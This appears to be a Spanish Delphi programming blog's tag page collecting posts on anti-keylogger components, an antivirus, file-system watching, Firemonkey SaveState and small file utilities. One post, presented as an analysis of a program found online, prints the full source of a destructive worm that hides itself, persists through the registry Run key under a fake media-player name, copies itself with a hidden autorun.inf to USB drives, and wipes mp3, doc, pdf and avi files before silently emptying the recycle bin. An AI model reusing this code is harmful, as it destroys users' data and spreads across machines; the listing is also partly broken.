Mostrando entradas con la etiqueta Files. Mostrar todas las entradas
Mostrando entradas con la etiqueta Files. Mostrar todas las entradas

Antikeylogger






Los componentes TAntiKeyLoggerEdit  TAntiKeyLoggerMem sirven para dificultar las acciones de los keyloggers insertando en el buffer de teclado del PC caracteres basura. Podéis ver un ejemplo en la imagen del texto capturado por un keylogger cuando se usa el notepad y cuando se usa este programa.


Mediante la propiedad GarbageCount se puede especificar el número de caracteres falsos que se añaden en el buffer.





Autor: Wuul  Wuuldev@googlemail.com


Web:



 




=========================================================





PSMAntiKeyLogger


Real-time protection, protects you against KeyLoggers (For Windows 9x/ME/NT/2K/XP)
(C) 2003-2004 PSMKorea - Do Duc Truong, Truong2D@Yahoo.com

Project description:

PreSetup\PreSetup.dpr:            Create PreSetup.exe, killing processes before copying new files (For setup only)
PSMAntiK.Dll\PSMAntiK.dpr:            Injected DLL
PSMAntiSpy_Kr\PSMAntiSpy.dpr:        Main application
PSMAntiSpySvc\PSMAntiS.dpr:        Service
PSMStartupCfg_Kr\PSMStartupCfg.dpr:        Additional tool
Setup\setup.wse:                Script to create the full setup (Wise Installation System - Professional Edition)

NOTE for developers:
- Special component used: madCodeHook/madX : www.madshi.net
- Need to Install the TrayIcon compnent in TrayIcon.pas
- Change the const Lang in every project to switch between two language English/Korean. for ex: const Lang='KO';









Antivirus

AiD Scanner free Antivirus v3.4.3  es un antivirus totalmente operativo que viene con código fuente e incorpora una base de firmas de 60.000 virus que se pueden ampliar incluyendo otras nuevas, utilizando la aplicación "Aid database creator" que viene incluida en el soft.





Autor: DoGeR                       

BlackCash2006@Yandex.ru          

DoGeR@bit-lab.info 



Codigo fuente










Ver los cambios en el sistema de archivos


Muestra en tiempo real los cambios producidos en cualquier fichero del PC





Utiliza un CallBack definida en la unit WFSU:





  PInfoCallBack = ^TInfoCallBack;


  TInfoCallBack = record


    FAction      : Integer;


    FDrive       : string;


    FOldFileName : string;


    FNewFileName : string;    end;





  TWatchFileSystemCallBack = procedure (pInfo: TInfoCallBack);





Analizando un programa en Delphi


Navegando por la red, me he encontrado con un curioso programa, que lo que hace es buscar los ficheros mp3, doc, pdf y avi, los lleva a la papelera y la vacía. También se copia automáticamente en los dispositivos que se conecten al ordenador, modificando el inicio del SO anfitrión para iniciarse automáticamente en el siguiente arranque.

Si encuentra un archivo llamado "cura.txt" ni se ejecuta, ni se copia.



unit Unit1;


interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls,Registry;

type

TForm1 = class(TForm)

function ALaPapelera(Fichero:string):boolean;

Function VaciaPapelera:String;

function GetWindowsDirectory : String;

procedure Autorun;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

Lista: set of Char;

procedure CrearLista;

procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE;

public

{ Public declarations }

procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);

end;

var

Form1: TForm1;

Ficheros1:TStringList;

implementation

{$R *.dfm}

function Tform1.GetWindowsDirectory : String;

var

pcWindowsDirectory : PChar;

dwWDSize : DWORD;

begin

dwWDSize := MAX_PATH + 1;

GetMem( pcWindowsDirectory, dwWDSize );

try

if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0

then

Result := pcWindowsDirectory;

finally

FreeMem( pcWindowsDirectory );

end;

end;

Function Tform1.VaciaPapelera;

type

TSHEmptyRecycleBin = function (Wnd: HWND;

LPCTSTR: PChar;

DWORD: Word): integer; stdcall;

var

MangoLib : THandle;

SHEmptyRecycleBin : TSHEmptyRecycleBin;

i:integer;

begin

{Cargamos SHell32.DLL}

{Load Shell32.DLL}

MangoLib := LoadLibrary(PChar('Shell32.dll'));

{Si no se pudo... error}

{if not... error}

if MangoLib = 0 then

Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+

'Cannot load Shell32.DLL');

{Buscamos dentro de la DLL la funcion que queremos}

{Search into DLL the required funtion}

@SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA');

{Si no existe... error}

{If don't exists... error}

if @SHEmptyRecycleBin = nil then

begin

FreeLibrary(MangoLib);

Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+

'Cannot find SHEmptyRecycleBinA in Shell32.DLL');

end;

{Vaciamos la papelera, sin sonido ni confirmación}

{Empty the Recycle bin...}

SHEmptyRecycleBin(Application.Handle,'',7);

{Liberamos la DLL}

{Free the DLL}

FreeLibrary(MangoLib);

end;

function Tform1.ALaPapelera(Fichero:string):boolean;

var

FileOp: TSHFileOpStruct;

begin

if FileExists(Fichero)then

begin

FillChar(FileOp,SizeOf(FileOp),#0);

with FileOp do

begin

Wnd:= Application.Handle;

pFrom:= PChar(Fichero+#0#0);

fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION;

end;

Result:= (ShFileOperation(FileOp)=0);

end else

Result:=False;

end;

procedure TForm1.CrearLista;

var

Letra: Char;

begin

Lista:= [];

for Letra:= 'C' to 'Z' do

if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then

Lista:= Lista + [Letra];

end;

procedure TForm1.WMDEVICECHANGE(var Msg: TMessage);

var

Letra: Char;

Atributos: Cardinal;

begin

if Msg.WParam = DBT_DEVICEARRIVAL then

begin

for Letra:= 'C' to 'Z' do

if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then

begin

if not (Letra in Lista) then

begin

copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false);

SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden);

with TStringList.Create() do

try

Add('[Autorun]');

Add('ShellExecute=ReproductorWMV.exe');

add('attrib +h Autorun.inf');

try

SaveToFile(Letra+':\autorun.inf');

SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden);

except

on E: Exception do

begin

ShowMessageFmt(

'Ocurrió una excepción: %s',

[E.Message]

);

end;

end;

finally

Free();

end;

//ShowMessage('Este es un disco removible '+Letra+':\');

end;

end;

end;

CrearLista;

inherited;

end;

procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);

var

srRes : TSearchRec;

iFound : Integer;

begin

if ( brec ) then

begin

if path[Length(path)] <> '\' then path := path +'\';

while iFound = 0 do

begin

if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then

if srRes.Attr and faDirectory > 0 then

BuscaFicheros( path + srRes.Name, mask, Value, brec );

iFound := FindNext(srRes);

end;

FindClose(srRes);

end;

if path[Length(path)] <> '\' then path := path +'\';

iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);

while iFound = 0 do

begin

if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then

Value.Add(path+srRes.Name);

iFound := FindNext(srRes);

end;

FindClose( srRes );

end;

procedure Tform1.Autorun;

var

Registro :TRegistry;

Atributos: Cardinal;

begin

Registro:=TRegistry.create;

Registro.RootKey := HKEY_LOCAL_MACHINE;

if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE)

then

begin

Registro.WriteString('SystemRoot',GetWindowsDirectory+

'\ReproductorWMV.exe');

copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);

SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden);

end;

Registro.Destroy;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

Ficheros:TStringList;

FicherosDoc:TStringList;

dato :TStringList;

i:integer;

begin

BorderStyle := bsNone;

Left := 0;

Top := 0;

Width := 0;

Height := 0;

Visible := False;

Application.Title := '';

Application.ShowMainForm := False;

ShowWindow( Application.Handle, SW_HIDE );

Ficheros:=TStringList.Create;

BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE);

SetWindowLong( Application.Handle, GWL_EXSTYLE,

GetWindowLong(Application.Handle, GWL_EXSTYLE) or

WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);

autorun;

if ficheros.count > 0 then

begin

Ficheros.Free;

form1.visible:=false;

end else

begin

BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE);

for i:=0 to ficheros.Count -1 do

Alapapelera (ficheros[i]);

vaciapapelera;

ficheros.Free;

end;

end;













El fin de los archivos ini - Utilizando SaveState con Firemonkey


El título del post no es una afirmación tajante, sino más bien una apreciación personal viendo la  funcionalidad que he encontrado en Delphi, que hasta ahora desconocía y que me ha parecido muy práctica y fácil de utilizar.





Todo gira respecto a la utilidad SaveState





Cuando estamos trabajando con Android si nuestra app está en segundo plano, Android puede decidir que hay cerrarla bajo ciertas condiciones (Low Memory, escasez de recursos del S.O., etc...), cuando esto sucede necesitaríamos guardar ciertos parámetros que permitan restaurar la app en la misma situación en la que estaba antes de cerrarse, es decir es necesario salvar el estado del programa.





Para ello lo que se hace es crear un archivo temporal que se borra cuando la app se restaura, pero si ese archivo lo guardamos en "tpath.GetHomePath" el archivo es permanente hasta que nosotros decidamos suprimirlo.





Este archivo puede contener los siguientes tipo de datos (procede de la clase TBinaryReader, que permite leer tipos de datos desde un stream como valores binarios)



    function ReadBoolean: Boolean; virtual;

    function ReadByte: Byte; virtual;

    function ReadBytes(Count: Integer): TBytes; virtual;

    function ReadChar: Char; virtual;

    function ReadChars(Count: Integer): TCharArray; virtual;

    function ReadDouble: Double; virtual;

    function ReadSByte: ShortInt; inline;

    function ReadShortInt: ShortInt; virtual;

    function ReadSmallInt: SmallInt; virtual;

    function ReadInt16: SmallInt; inline;

    function ReadInteger: Integer; virtual;

    function ReadInt32: Integer; inline;

    function ReadInt64: Int64; virtual;

    function ReadSingle: Single; virtual;

    function ReadString: string; virtual;

    function ReadWord: Word; virtual;

    function ReadUInt16: Word; inline;

    function ReadCardinal: Cardinal; virtual;

    function ReadUInt32: Cardinal; inline;

    function ReadUInt64: UInt64; virtual;





Por ejemplo, para leer un parámetro del tipo Boolean de nuestra app, escribiríamos:



...
VAR
Reader: TBinaryReader;
...
Parametro1:=Reader.ReadBoolean;
...



Y para almacenarlo:







...
VAR
Writer: TBinaryWriter;
...
Writer.Write(Parametro1);






En la propiedad "StoragePath"  especificamos el Path para almacenar el estado, si no indicamos nada el estado se perderá al reiniciar la app, en caso contrario el estado se grabará en un fichero, en este caso le he llamado "MIARCHIVODEDATOS.tmp".



El procedimiento para la lectura de parámetros sería el siguiente: (yo lo suelo poner en el ONCREATE del form)



PROCEDURE Tform1.LeerArchivoParametros;
VAR
Reader: TBinaryReader;

BEGIN
SaveState.Name := 'MIARCHIVODEDATOS.tmp';

// IMPORTANTE al poner tpath.GetHomePath se crea un archivo permanente
// que no se borra cuando se restaura la app

SaveState.StoragePath := tpath.GetHomePath;

IF SaveState.Stream.Size > 0 THEN
BEGIN
Reader := TBinaryReader.Create(SaveState.Stream);

TRY

Parametro1 := Reader.ReadBoolean;
Parametro2 := Reader.ReadInteger;
Parametro3 := Reader.ReadString;

FINALLY
Reader.Free;
END;

END;

END;



y el procedimiento de escritura sería en el evento "ONSAVESTATE" del form de esta manera:





PROCEDURE Tform1.FormSaveState(Sender: TObject);

VAR
Writer: TBinaryWriter;

BEGIN
SaveState.Stream.Clear;

Writer := TBinaryWriter.Create(SaveState.Stream);

TRY
Writer.Write(Parametro1);

Writer.Write(Parametro2);

Writer.Write(Parametro3);

FINALLY
Writer.Free;
END;
END;



Lo que me ha parecido interesante de esta forma de almacenar los parámetros de una app es que según las pruebas que he hecho, funciona para cualquier S.O., Android, IOS y Windows.

Recordad que si lo usáis en Android, para que funcione bien, previamente tendréis que desinstalar las versiones previas de la app.





Espero que os haya sido útil, 



...hasta el próximo post...



Determine the size of a file without opening it

USES
SysUtils;
...

FUNCTION FileSizeByName(CONST AFile: STRING): integer;
VAR
sr: TSearchRec;
BEGIN
IF (Pos(AFile, ’ * ’) <> 0) OR (Pos(AFile, ’?’) <> 0) OR
(FindFirst(AFile, faAnyFile, sr) <> 0)
THEN result := 1
//file was not found
ELSE result := sr.Size;
END;

Drag’n’drop files from Windows Explorer


TYPE
TForm1 = CLASS(TForm)
PROCEDURE FormCreate(Sender: TObject);
PRIVATE
PROCEDURE WMDropFiles(VAR Msg: TWMDROPFILES); MESSAGE WM_DROPFILES;
END;
...




PROCEDURE TForm1.FormCreate(Sender: TObject);
BEGIN
DragAcceptFiles(Handle, true);
END;

PROCEDURE TForm1.WMDropFiles(VAR Msg: TWMDROPFILES);
VAR
buf: ARRAY[0..MAX_PATH] OF char;
filename: STRING;
BEGIN
DragQueryFile(Msg.Drop, 0, @buf, sizeof(buf));
DragFinish(Msg.Drop);
filename := STRING(buf);
...
END;

Open a file using its associated application

The result is the same as if the file were double-clicked in Windows Explorer.



FUNCTION OpenFile(AFile: STRING; ADir: STRING = NIL; AParams: STRING = NIL):
boolean;
BEGIN
result := ShellExecute(Application.Handle, ’open’, PChar(AFile), ADir, AParams,
SW_SHOWNORMAL) >= 32;
END;


Send a file to Recycle bin

uses
ShellApi.pas;
...



FUNCTION RecycleFile(CONST AFile: STRING): boolean;
VAR
foStruct: TSHFileOpStruct;
BEGIN
WITH foStruct DO BEGIN
wnd := 0;
wFunc := FO_DELETE;
pFrom := PChar(AFile + #0#0);
pTo := NIL;
fFlags := FOF_ALLOWUNDO OR FOF_NOCONFIRMATION OR FOF_SILENT;
fAnyOperationsAborted := false;
hNameMappings := NIL;
END;
Result := SHFileOperation(foStruct) = 0;
END;




Simulación del movimiento de los electrones en un campo electrico

Espectacular simulación realizada con OpenGL del movimiento de los electrones cuando atraviesan un campo eléctrico. Como muestra la image...